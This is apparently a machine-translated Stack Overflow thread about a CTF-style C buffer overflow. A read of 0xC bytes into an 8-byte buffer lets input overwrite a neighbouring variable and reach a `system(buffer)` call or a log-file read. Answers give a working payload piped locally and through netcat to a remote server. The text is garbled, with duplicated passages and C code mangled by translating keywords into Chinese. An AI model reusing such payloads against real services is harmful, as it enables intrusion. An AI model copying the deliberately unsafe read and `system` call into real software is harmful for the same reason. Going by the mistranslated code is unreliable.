C:IF语句未按预期触发
我有以下功能。可执行文件运行良好。在程序运行后的提示下,我输入C:IF语句未按预期触发,c,buffer-overflow,C,Buffer Overflow,我有以下功能。可执行文件运行良好。在程序运行后的提示下,我输入\x0037337331,B的值设置为B:0x31333337 关于如何触发打开log.txt int play() { int a; int b; char buffer[010]; a = 0x41414141; b = 0x42424242; if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after
\x0037337331
,B的值设置为B:0x31333337
关于如何触发打开log.txt
int play() {
int a;
int b;
char buffer[010];
a = 0x41414141;
b = 0x42424242;
if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) {
perror("write");
}
if (read(STDIN_FILENO, &buffer, 0xC) < 0) {
perror("read");
}
if (a == 31337) {
system(buffer);
}
else if (b == 1337) {
readfile("log.txt");
}
else {
printf("B: 0x%08x\n", b);
}
}
int play(){
INTA;
int b;
字符缓冲区[010];
a=0x4141;
b=0x4242;
如果(写入(STDOUT_FILENO),“一瞬间,什么也没有发生。然后,大约一秒钟后,什么也没有继续发生。\n>”,91)<0){
佩罗(“书面”);
}
如果(读取(标准数据文件号和缓冲区,0xC)<0){
佩罗(“阅读”);
}
如果(a==31337){
系统(缓冲区);
}
否则如果(b==1337){
readfile(“log.txt”);
}
否则{
printf(“B:0x%08x\n”,B);
}
}
您有两个错误:
行:
应该是
char buffer[0xc];
read(STDIN_FILENO, buffer, 0xC)
也
应该是
char buffer[0xc];
read(STDIN_FILENO, buffer, 0xC)
因为您需要指向缓冲区开头的指针
编辑
您还需要在
system
之前向缓冲区添加空字符,因为十进制的1337
是十六进制的539
,所以只需在bash中运行以下命令
$ printf 'xxxxxxxx\x39\x05\x00\x00' | ./a.out
buffer
的大小为010
,即8
字节,因此它将被xxxxxxxx
填充,并且由于b
被分配到堆栈中的buffer
旁边,因此将0xC
字节读入buffer
将泄漏到b
,并填充0x39050000
。由于大多数架构都是小端,因此b
的值将是0x00000539
,以十进制表示为1337
也许本地变量在堆栈中的分配方式取决于编译器、体系结构或操作系统,但这似乎是10年前在Linux OS x86上gcc编译的二进制文件的行为。补充了@ymonad给出的答案 由于必须进行远程操作,他必须
netcat
进入1984端口。所以这应该是必须的答案
printf 'xxxxxxxx\x39\x05\x00\x00' | netcat serverip 1984
char缓冲区[010]代码>-8个字符够了吗?提示@EdHeal所说的,请检查数字系统。我假设此练习的目的是创建缓冲区溢出?你已经成为会员很长时间了,问了很多问题,现在我想你应该知道了吧?请编辑您的问题,以澄清目的,以及程序应该如何处理您提供的输入。您为什么删除代码?答案不再有任何意义。您为什么删除代码?这使你的问题变得毫无用处。我认为目的是创建缓冲区溢出,因此缓冲区的大小和OP读取的内容可能是应该的。这假设编译器以特定顺序存储变量